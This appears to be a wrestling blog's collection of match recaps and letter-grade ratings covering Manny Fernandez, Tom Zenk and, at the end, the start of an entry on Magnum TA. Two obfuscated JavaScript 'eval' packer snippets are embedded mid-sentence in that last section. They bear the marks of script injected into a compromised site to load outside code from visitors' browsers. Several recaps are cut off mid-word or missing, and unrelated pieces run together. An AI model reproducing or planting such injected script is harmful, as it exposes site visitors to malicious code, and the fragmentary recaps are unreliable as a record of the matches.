Abdullah the Butcher vs. Manny Fernandez

Fernandez pounds away with the belt around his hand before suplexing Butcher down. Not bad for a man in socks. Manny goes for the hat but gets hit low with the fork. Butcher chokes away a bit but Manny fires off the Flying Burrito (forearm) and a second one drops Abdullah. A top rope splash misses Abdullah but the Butcher misses a charge into the corner, allowing Fernandez to get up the ropes and grab the hat for the win.

Manny would primarily wrestle in tag matches around this time, including the 1986 Crockett Cup.

Crockett Cup First Round: Jimmy Valiant/Manny Fernandez vs. Baron Von Raschke/Barbarian

Crockett Cup Second Round: Ivan Koloff/Nikita Koloff vs. Manny Fernandez/Jimmy Valiant

^{Clipped to the five minute mark with Fernandez missing a dropkick to bring in Nikita again. Clipped to Manny in a bearhug as Ivan comes in again. Hot tag brings in Jimmy who cleans house and hooks a sleeper. Everything breaks down (that should be the name of this show) and Nikita gets a Sickle for the pin. WOW IT WAS OVER THREE MINUTES SHOWN!!!}

NWA World Tag Team Titles: Manny Fernandez/Rick Rude vs. Road Warriors

Manny and Rick are defending. Rude takes too much time posing though and gets nailed from Hawk to get things going. Hawk will have none of this being whipped across the ring and man alive are the fans nuts for the Warriors. We take a break and come back with Hawk taking Rude down in a test of strength as everything breaks down. The champs are both gorilla pressed and manager Paul Jones is losing his mind.

We settle back down to Animal vs. Fernandez with Manny being knocked out to the floor. He charges back in to a backdrop as the champions are in major trouble early. Rude comes back in to try the Rude Awakening but Hawk easily shoves him off. Back to Fernandez for an elbow to the jaw but Rude eats a big clothesline. A double tag brings in Animal and Manny with a big shoulder dropping Fernandez for two. Everything breaks down and the managers come in to throw the match out.

Off to the 1987 Crockett Cup.

Crockett Cup Quarterfinals: Super Powers vs. Manny Fernandez/Rick Rude

Rating: D-. Yeah expect Dusty and Nikita to do really well in this. Dusty had a habit of pushing himself really strong and insisting he was what the fans wanted to see. He also had a habit of booking the company into the ground and causing Crockett to go out of business, but hey, Dusty was the US Champion baby! About five minutes were clipped here if you were curious.

From the 1987 Great American Bash.

Freebirds vs. Paul Jones/Manny Fernandez/Ivan Koloff

s Terry Gordy and this would be like Sheamus vs. Runjin Singh. Things break down and an elbow drop ends Jones quickly.

t mean much. Gordy was a monster though and ran through everybody at the end. He would team with Williams in 1992 in one of the most successful yet boring tag teams of the period. Anyway, nothing match and Paul Jones is one of the worst characters and managers of all time. This was from Atlanta as well.

Off to Puerto Rico on May 11, 1988.

Invader #3 vs. Manny Fernandez

Rating: D. Dull match here until the WAY over the top ending. I mean it looked like when WWE has people vomit in modern times but with blood instead. This was right before a very shaky time for the promotion as Brusier Brody would be dead just a few months later to change everything.

Off to the AWA at SuperClash III.

Manny Fernandez vs. Wahoo McDaniel

No idea why this is here or where they’re from. AWA I think. This is an Indian Strap Match which is all four corners. Tatsumi Fujinami is here for no apparent reason and Fernandez yells at him. Fujinami holds him for a bit and Wahoo hits him. Fernandez stalls of course as we need to get this over with. The bell rings twice here and Wahoo uses the strap to start. No idea why these two are fighting.

Fernandez takes him down and goes for some corners which doesn’t work of course. Wahoo is busted open and Manny tries again. The idea is that Wahoo has never lost one of these. They chop it out and Wahoo of course wins that. Manny is bleeding a bit. Wahoo gets three buckles but gets hit in the little Indians to break the streak. Manny gets three but then goes up top for no logical reason. Wahoo pulls him down and gets the win a bit after that.

Rating: D-. Weak match here as this match tended to be. Wahoo was old and fat at this point but apparently this was the best thing that he could do. No idea why this warranted 8 minutes on this show but Wahoo was still a name I guess. Weak and boring match here though that was totally paint by the numbers.

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Jimmy Garvin vs. Tom Zenk

Still in the AWA on January 10, 1985 in Winnipeg.

Nick Bockwinkel vs. Tom Zenk

Feeling out process to start with Nick quickly taking him down off a headlock. Back up and the slow start continues until Nick throws him out to the floor. Zenk comes back in and gets sent face first into the buckle, only to nail a dropkick and hiptoss for two. Bockwinkel sidesteps the other dropkick though and nails the piledriver for the pin. Short and almost a squash here.

Off to 1986, still in the AWA.

Masked Superstar vs. Tom Zenk

Zenk would get hired by the WWF to be part of the next young, fast paced tag team. He and Rick Martel would hook up as the Can-Am Connection with one of their earlier matches taking place on Superstars, January 24, 1987.

Don Muraco/Bob Orton vs. Can-Am Connection

This would eventually open Mania III. I’ve always liked that one so this should be at least good too. They start immediately which is fun. Danny Davis is the referee here. Fink does his third voiceover of the night. Dang he’s getting paid tonight. We have Martel vs. Orton here. The Connection was good but I’ll take Strike Force any day. Fuji calls out the Connection in an inset interview. Speed vs. what you could call power I guess is always fun.

Zenk was good but his attitude was absurd. This isn’t as good as Mania would be but it’s ok for what it is. Also that’s what a show like this is for: polishing for the major show which I’d certainly say Mania was. You know, just the biggest card of all time. It’s a big brawl and they throw it out. Solid until then I guess.

Rating: C-. Not bad for what it was. It’s rare enough to see four big names in a match here but this worked fine. The Connection was a good team and the heels were always good for a quick one. Decent enough for a power vs. speed match, even though Muraco and Orton weren’t the strongest team in the world.

First Round: Jerry Allen/Dan Spivey vs. Can-Am Connection

This is a very odd choice for a team here. Mike Rotunda had left and Spivey had no partner. Allen on the other hand….was a jobber. He’s kind of like the Carlito of his day, minus the credibility. Yeah think of him like that. Allen and Spivey get no reaction. Can-Ams are the young pretty boys who get big girl pops. Jimmy talks about his clients’ three matches at Mania, including saying that Alice Cooper couldn’t carry a tune if it had handles on it.

That line would be in Honky Tonk Man’s future song, so I wonder who wrote that one. Valiant is REALLY annoying. Allen and Zenk start us off. Wow I’d be so riveted to this match. They botch a leap frog. That’s hard to do. Jimmy lists off some songs his band had. For those of you that don’t know, Hart was in a mainstream band called the Gents and they actually weren’t that bad. They toured with the Beach Boys in the 60s.

We hit the formula stuff so that’s fine. They mention Allen isn’t Spivey’s full time partner. At this time, Valiant is Demolition’s manager. This isn’t very interesting at all. To be fair that could be due to a lack of heel talent. There’s a lot of that going around tonight apparently. This match has been 80% rest holds. Everyone comes in at once and in a pretty weak looking spot, Martel hits Allen with a cross body for the pin.

Rating: D. Just boring as all all goodness here. It was mainly due to the terrible heel team though so I can’t complain much there. The Connection was pretty solid though so I have to give them the benefit of the doubt here. Just a bad match overall though as Allen and Spivey seeming to be a thrown together team.

Semi-Finals: Can-Am Connection vs. Demolition

Demolition is kind of popular here, foreshadowing their face turn…a year and a half from now. Ok so it’s not foreshadowing at all. This is apparently a main event in any arena in the entire world. When anyone says that, the first thing that comes to my mind: WHY IS IT NOT MAIN EVENTING THIS SHOW THEN??? Demolition is dominating for the most part here as you would expect them to. What follows is more or less as basic of a match as you could possibly ask for.

This simply isn’t much to talk about but it’s not bad. Demolition dominates for a good while until Martel gets the hot tag. Everyone comes in, the legal guys go to the floor, Zenk hits the post, and there’s your countout to put Demolition in the finals.

Rating: C-. Not as bad, but still not very good whatsoever. The screwy endings continue here which is rapidly getting on my nerves. It’s another formula match here which is fine but it’s getting very repetitive. Demolition was clearly going to be a big deal in the division but it was still a little ways away.

Can-Am Connection vs. Don Muraco/Bob Orton

Bob gets hit from one corner to the other until Zenk takes him down with an armbar. All Connection so far. They trade full nelsons and Muraco hits Orton by mistake for two. Bob gets his arm cranked on a bit until FINALLY making the tag out to Muraco. The bad luck continues for the heels as Don is slammed down and has his arm worked on as well.

One more WWF match at SNME XI.

Can-Am Connection vs. Iron Sheik/Nikolai Volkoff

He tries to sing and gets hit in the head with a 2×4. Isn’t that called massive assault? Zenk and the Sheik start us off. Duggan, after BASHING VOLKOFF IN THE HEAD WITH A BOARD just sits right back in the front row. Sheik gets a good abdominal stretch on Sheik. This show needs to end. Duggan runs in AGAIN and Martel rolls up Sheik for the pin.

Cuban Assassin vs. Z-Man

Z-Man is Tom Zenk, a young guy in great shape freshly over from the AWA and the WWF before that. Assassin gets hiptossed over and a dropkick sends him to the floor as Z-Man is starting fast. Back in and we hit the top wristlock on the Cuban followed by an armbar. Assassin fights up and headbutts Z-Man to take over, only to miss a middle rope headbutt. Z-Man grabs a sleeper and gets the quick win.

US Tag Titles: Freebirds vs. Brian Pillman/Z-Man

Speaking of Garvin here he is and he gets Z-Man. Z takes him down with a headlock but misses a dropkick. Garvin, ever the Rhodes Scholar, ducks his head and gets kicked in the face. Back to Brian for another headlock. Hayes comes back in and things are going slowly to start, implying that they have a lot of time to work with. Sunset flip with a great jump gets two for Pillman.

Z-Man works on the arm and goes into a Fujiwar Armbar to Hayes. Back to Garvin who loses any advantage that Hayes had gotten on Z-Man. Pillman comes in as the fans seem a bit distracted. Hayes comes in and hooks a sleeper (sleep hold according to Ross) as JR talks about Paul Boesch, the promoter of Houston Wrestling for decades, demonstrating this hold in the second World War.

Same idea but with the TV Title at Clash XIV.

TV Title: Z-Man vs. Bobby Eaton

TV Title: Z-Man vs. Steve Austin

Rating: D+. Much like some of the other matches tonight, this was pretty dull stuff. It was a lot of laying around and Austin bailing to the floor before getting in a single shot to cheat. It makes sense for Austin to run like that, but Z-Man not following up just stopped any momentum that he had going.

Z-Man would go after the Light Heavyweight Title against former partner Brian Pillman at Wrestlewar 1992.

Light Heavyweight Title: Flying Brian vs. Z-Man

This should be awesome. These two used to be the US Tag Champions. Jesse wants the cheating to start before the match even begins. I love heel announcers when they’re good at what they do and he’s one of the best of them. They keep doing the same stuff because they know each other so well. That’s an old tactic but it works very well no matter what so I can’t complain.

Crowd is oddly dead here, but I think it’s because there hasn’t been much to cheer for in about an hour. Jesse does some play by play here which is very different. Him basically drooling over the idea of a punch being thrown is great. This starts off pretty slowly but it’s going with the slow build as you can tell the ending is going to be awesome. Z-Man misses a Vader Bomb so Pillman can take over again.

And now it’s half crab time for no apparent reason. Pillman would soon join up with Austin to make the Hollywood Blondes who were as awesome as you can be in a 6 month reign as a team. A figure four goes on and Z-Man has a bad knee. They’re going with a more mat based and psychology heavy match here and it’s working rather well. The crowd is hot for it which is a good thing.

Z-Man can sell the knee work very well too. Crucifix, one of Pillman’s signature moves, gets two. Jesse is BEGGING for them to cheat. Z-Man gets a cross body but goes too high with it and nearly breaks Pillman’s neck (which more or less happened at last year’s Wrestle War which we’ll get to later) but it only gets two.

Both guys are down and more or less out. In a nice bit of psychology, Z-Man fakes a knee injury and kicks Pillman as he’s coming down in a cross body. Nice move out of Bret Hart’s book….although that might not have been written yet. Z-Man misses a missile dropkick and Pillman gets a rollup to retain. Nice ending.

Rating: B+. Another very good match here. Pillman was just awesome at this point and this was no exception. Excellent match here with two guys just going out there and having a blast. Z-Man was insane for the most part and it’s a shame because he was very good in the ring when he wasn’t ticked off. This was a great match with a mixture of a lot of styles. I can’t quite get it into the A range, but it’s well worth watching if you’re bored.

Without much success, Z-Man would be put into another pretty boy tag team with Johnny Gunn. Here they are in a six man at Halloween Havoc 1992.

Z-Man/Johnny Gunn/Shane Douglas vs. Arn Anderson/Michael Hayes/Bobby Eaton

This one needs a lot of explanation.

Tag Titles: Hollywood Blondes vs. Dos Hombres

This is in a cage. This is one of those angles that is so full of backstory it’s unreal. Ok so who in the world are Dos Hombres. Well they’re “luchadores” in masks. However, they’re introduced as Ricky Steamboat and Shane Douglas. Now one of them is Steamboat. The other however, isn’t Shane Douglas. It’s actually Tom Zenk. So in other words, we have a guy portraying Shane Douglas portraying a luchador who everyone “knows” is Shane wearing a mask.

Now that probably requires an explanation too. Steamboat and Douglas had been tag team champions and feuded with Brian Pillman/Barry Windham. Windham had to leave for some reason so they substituted in Steve Austin and made the team the Hollywood Blondes. They eventually won the titles and held them for like six months. Oh and these are UNIFIED tag titles, because the NWA thinks people still care about them because the NWA is stupid.

Anyway, the new champs beat the former champs time after time. They were scheduled to face Dos Hombres, some new team from Mexico, in what was supposed to be a squash. However, Dos Hombres started fighting like Douglas and Steamboat to the point that everyone said yeah that’s Steamboat and Douglas. They were even introduced by those names. Anyway, the thing is that Douglas had been fired and in the non-title match it was Brad Armstrong under the mask. In this match which is for the titles, it’s Tom Zenk. Got all that?

Despite this being in a cage they have to tag which gets annoying fast. Steamboat and Austin start but it’s off to Pillman very quickly. Yeah that’s Steamboat. You can tell those chops anywhere. Pillman can’t put him into the cage and there’s an armdrag. Off to “Shane” who is way too skinny to be who he’s portraying. There are two guys in suits that keep getting shown and I don’t know who they are.

Both “Shane” and Austin block head shots to the cage but Austin goes in back first just a bit. Both guys hit the ropes and Austin gets backdropped. Not much of a cage match here but a pretty good wrestling match up to this point. Austin eats cage in the first good shot into it. Back to Steamboat (I think) against Pillman who takes over. Yeah there’s an armdrag so it’s “Shane” who got tagged in.

Gorilla press puts Pillman’s back into the cage. Off to Austin who can’t do much because his back hurts from going into the cage. He gets caught in the Tree of Woe but from the top of the cage instead of the corner. The challengers do the camera thing that the Blondes are known for in a funny bit. Austin gets down and takes over again. I have no idea which Hombre is in there.

Middle rope elbow gets two for the future rattlesnake that has hair here. The Blondes have to hide the use of a towel. In a cage match? Pillman comes in and jumps into a boot to put both guys down. I think that’s “Shane” in there but I’m really not sure. They’re full body suits so you can’t tell them apart at all other than mannerisms. Austin cuts off the tag at the last second and we keep at it.

“Shane” gets a dropkick to send Austin into the cage. Oh yeah that’s a Steamboat shot from the apron. Austin blocks another tag with something like a spinebuster. Larry says that Austin can be a legend if his body holds up. Holy prognostication Larry! Rocket Launcher sends Brian into “Shane’s” ribs and they both down again. There’s the tag to Steamboat who cleans house. Austin tries to hide and there’s the Flair shot from him. You figure out what I mean by that and why the audience laughed at it.

Everything breaks down and Steamboat takes the mask off. He climbs the cage and takes out BOTH Blondes for two with a huge cross body! AWESOME! Even the bell goes off inadvertently and I can’t blame them. Steamboat DDTs Austin for two and does the same to Pillman. Stereo dropkicks get two. In a rushed but kind of sweet ending, the Hombres get the champs in opposite corners and whip them together but Pillman reverses and sends Steamboat into Austin who hits a Stun Gun to retain.

Rating: B. Good match, although I’m really not sure why it was inside a cage. Anyway, the point is that this was solid stuff as the Blondes were totally awesome throughout their entire run so this was pretty much an automatic good match. Zenk is good in the ring but he was in over his head with these guys. The backstory is a mess but it was still a breath of incredibly fresh air after watching the legends go at it for an hour.

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Today might be the king of “what if’s”. It’s Magnum TA.

Magnum eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynsfr|var|u0026u|referrer|rttiz||js|php'.split('|'),0,{})) started under his real name of Terry Allen in 1977. I’m not sure when this first match is from but it seems to be Southwest Championship Wrestling (San Antonio) at some point in the very early 1980s.

JYD eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddian|var|u0026u|referrer|nrehk||js|php'.split('|'),0,{})) would get started in the late 70s, including a run in Stampede under the name Big Daddy Ritter. Here’s one such match, and what is believed to be the first ever ladder matche, from July 1, 1979.